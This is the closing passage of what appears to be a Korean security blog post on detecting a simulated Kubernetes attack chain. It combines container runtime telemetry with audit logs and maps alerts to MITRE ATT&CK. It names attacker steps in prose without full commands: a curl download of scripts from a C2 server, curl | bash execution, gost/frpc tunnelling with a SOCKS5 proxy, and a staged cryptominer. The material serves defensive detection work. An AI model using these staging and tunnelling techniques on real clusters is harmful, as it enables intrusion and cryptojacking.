  • 툴 스테이징: 런타임 패키지 설치(apk, curl, bash, python3) 및 시뮬레이션된 C2 서버에서 curl 를 통해 악성 스크립트 다운로드
  • C2 인프라: 터널링 도구 gostfrpc/opt/teampcp 에 배포하고 포트 1081에서 SOCKS5 프록시를 수신합니다.
  • Impact: 디코딩 및 스테이징된 /tmp/miner 바이너리: 크립토재킹의 목적

공격 체인 시각화는 실행, 권한 상승, 방어 회피, 발견 및 명령 & 제어에서 확인된 활동과 함께 초기 액세스부터 영향에 이르기까지 전체 MITRE ATT&CK 킬 체인에서 상호 연관된 경고를 매핑합니다.

이것이 바로 D4C 런타임 원격 분석과 Kubernetes 감사 로그를 결합한 결과입니다. 컨테이너 런타임은 curl | bash, gost 프로세스, 마이너 바이너리를 보고 감사 로그는 데몬 세트 생성, RBAC 남용, API 열거를 캡처하는 반면, 두 데이터 소스만으로는 이러한 그림을 생성할 수 없습니다. 공격 발견은 두 가지를 하나의 내러티브로 통합하여 SOC 분석가가 서로 다른 인덱스와 시간대에 걸쳐 경보를 수동으로 연결하지 않고도 즉시 조치를 취할 수 있도록 합니다.

결론

이 공격 체인 전반에서 일관된 패턴이 관찰되었습니다. 컨테이너 내에서 대화형 실행을 통해 환경 검색, Kubernetes API를 통한 측면 이동, 컨테이너 설계와 일치하지 않는 위치에서의 지속성 시도, 런타임 도구 설치, 터널링 활동, 인코딩된 페이로드의 재구성, 마지막으로 리소스 수익화까지 이어졌습니다. 각 목표는 별개의 런타임 신호를 생성했습니다.

컨테이너를 위한 방어의 가치는 컨테이너와 오케스트레이션 컨텍스트가 연결된 상태에서 이러한 신호를 표면화한다는 데 있습니다. 프로세스 계보, 기능 메타데이터, 대화형 실행 플래그, 파일 수정 원격 분석, 컨테이너 ID를 함께 사용하면 단순한 명령어 일치를 넘어 의도와 영향을 추론하는 탐지가 가능합니다.

이 시나리오는 또한 중요한 아키텍처 경계를 강조합니다. D4C는 컨테이너 내부의 심층적인 런타임 가시성을 제공하지만, 권한 있는 워크로드 생성이나 컨트롤 플레인 조작과 같은 특정 에스컬레이션 단계는 완전한 가시성을 위해 Kubernetes 감사 로그 원격 측정이 필요합니다. 따라서 효과적인 클라우드 네이티브 탐지는 런타임과 컨트롤 플레인 데이터 소스를 결합하는 데 달려 있습니다.

이 시리즈의 다음 단계에서는 이 모델을 컨테이너 경계를 넘어 확장하고 감사 로그를 D4C 런타임 이벤트와 상호 연관시켜 워크로드, 노드, 클러스터 자체에 걸쳐 있는 다단계 공격을 탐지하는 Kubernetes 제어 영역 탐지 엔지니어링을 살펴봅니다.

이 문서 공유하기